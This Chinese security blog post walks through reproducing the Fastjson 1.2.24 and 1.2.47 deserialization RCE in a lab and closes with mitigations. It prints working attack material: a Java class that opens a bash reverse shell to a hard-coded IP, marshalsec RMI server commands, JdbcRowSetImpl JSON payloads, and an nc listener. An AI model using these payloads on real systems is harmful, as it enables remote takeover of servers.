fastjson 反序列化RCE漏洞复现

admin 2025年3月24日19:27:24评论12 views字数 3732阅读12分26秒阅读模式

大致步骤

1,先在攻击机上编写好含有恶意代码的类,编译成class文件。其中有我们要执行的命令,开启web服务

2,还需要在攻击机上利用jar包部署rmi服务。

3,通过payload请求攻击机上的rmi服务,此服务会远程调用我们第一步web部署的恶意类。

即可造成rce。

攻击流程分析:

  1. 反序列化触发
    :Fastjson解析JSON时,反射调用JdbcRowSetImpl.setDataSourceName()setAutoCommit()
  2. JNDI查询
    :目标服务器向RMI服务端rmi://远程地址:8653/reverse发起请求。
  3. 恶意类加载
    :RMI服务器返回指向恶意类的Reference对象,目标服务器下载并执行该类的构造方法。
  4. 远程代码执行
    :攻击者通过恶意类实现命令执行、内存马注入等攻击。

Fastjson
fastjson是一个Java的库,可以将Java对象转换为Json字符串,也可以将Json字符串转换为Java对象,Fastjson也可以操作一些Java中的对象。

JNDI
JNDI(Java Naming and Directory Interface)是一个应用程序接口,主要提供查找、访问、命名常见的接口,定位网路、用户、对象和服务一些资源,简单理解就是JNDI将常用的功能、组件、服务取了名字,然后使用名字来查找使用。
JNDI可以使用RMI远程对象调用,支持的常见服务有DNS、LDAP、RMI、CORBA

RMI
RMI(远程方法调用Remote Method Invocation),远程调用方法在分布式编程中很常见,主要实现远程方法的调用,其中RMI是专门给Java环境设计的远程方法调用机制、

JDNI注入
JNDI中有一个服务RMI可以支持Java远程方法的调用,如果使用rmi调用的远程地址中的方法有一些危险的代码,并没有经过处理,就会导致命令的执行。

漏洞原理

fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。

正式开始

首先是环境搭建ubuntu上使用vulhub一键启动fastjson 1.2.24 rce环境,访问8090端口正常即可

攻击机是另一台公网机需要有java8环境,

先编写一个简单的java类,用于执行我们的命令,使用javac编译成class文件。

reserve.java 通过JdbcRowSetImpl触发JNDI注入

import java.lang.Runtime; import java.lang.Process; public class reverse{         static {                 try{                         Runtime rt = Runtime.getRuntime();                         String[] commands = {"bash", "-c", "bash -i >&  /dev/tcp/189.1.226.116/4563 0>&1"};                         Process pc = rt.exec(commands);                         pc.waitFor();                 } catch (Exception e) {                         // do nothing                 }           } }

然后在此目录使用poython开启web访问

python3 -m http.server 8989

fastjson 反序列化RCE漏洞复现

同时我们还需要再启动一个rmi服务来调用该恶意的class类文件进行攻击,需要用到marshalsec-0.0.3--SHOT-all.jar,这里可以直接下载也可以自己构建这个文件
GitHub - RandomRobbieBF/marshalsec-jar: marshalsec-0.0.3-SNAPSHOT-all compiled on X64

有了这个jar包之后,开启rmi服务

fastjson 反序列化RCE漏洞复现
/*样例 java -cp marshalsec-0.0.3--SHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击机ip:web端口/#类名" rmi服务端口 */ java -cp marshalsec-0.0.3--SHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxxxxxxx:8989/#reserve" 8653

然后编写payload

POST / HTTP/1.1 Host: xxxxxxxxx:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br DNT: 1 Sec-GPC: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: application/json Content-Length: 163   { "b":{           "@type":"com.sun.rowset.JdbcRowSetImpl",           "dataSourceName":"rmi://攻击机ip:8653/reverse",           "autoCommit":true     } }

字段解释:

  • @type字段
    :指定反序列化目标类为JdbcRowSetImpl(JDK内置数据库连接组件)。
  • dataSourceName
    :设置JNDI服务地址,指向攻击者控制的RMI服务器(IP,端口:8653)。
  • autoCommit
    :触发setAutoCommit()方法,间接调用connect(),发起JNDI查询[][]。
fastjson 反序列化RCE漏洞复现

在攻击机上开启web监听nc -lnvp 4563

执行payload,响应为空白或者500,基本都可以成功

fastjson 反序列化RCE漏洞复现

防御与修复方案

1. 代码层防护
  • 升级Fastjson

    使用Fastjson 2.x版本(默认关闭AutoType),配置白名单:

    ParserConfig.getGlobalInstance().addAccept("com.example.safe.*");

  • 启用安全模式

    ParserConfig.getGlobalInstance().setSafeMode(true); // 完全禁用AutoType

2. 运行时防护
  • JVM参数限制

    添加-Dcom.sun.jndi.rmi.object.trustURLCodebase=false禁用远程类加载。
  • RASP拦截

    监控JdbcRowSetImpl.connect()InitialContext.lookup()等敏感方法调用。
3. 网络层管控
  • 出口流量过滤

    阻止服务器主动外联RMI、LDAP等协议。
  • 入侵检测规则

    在IDS/IPS中设置特征规则(如@type字段包含JdbcRowSetImpl)。

fastjson 1.2.47版本换个payload就行了

POST / HTTP/1.1 Host: 1xxxx8.18:8090 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/json Content-Length: 265  {     "a":{         "@type":"java.lang.Class",         "val":"com.sun.rowset.JdbcRowSetImpl"     },     "b":{         "@type":"com.sun.rowset.JdbcRowSetImpl",         "dataSourceName":"rmi://189.1.226.116:8653/TouchFilels ",         "autoCommit":true     } }
来源:https://www.freebuf.com/

原文始发于微信公众号(船山信安):fastjson 反序列化RCE漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月24日19:27:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   fastjson 反序列化RCE漏洞复现https://cn-sec.com/archives/3876361.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息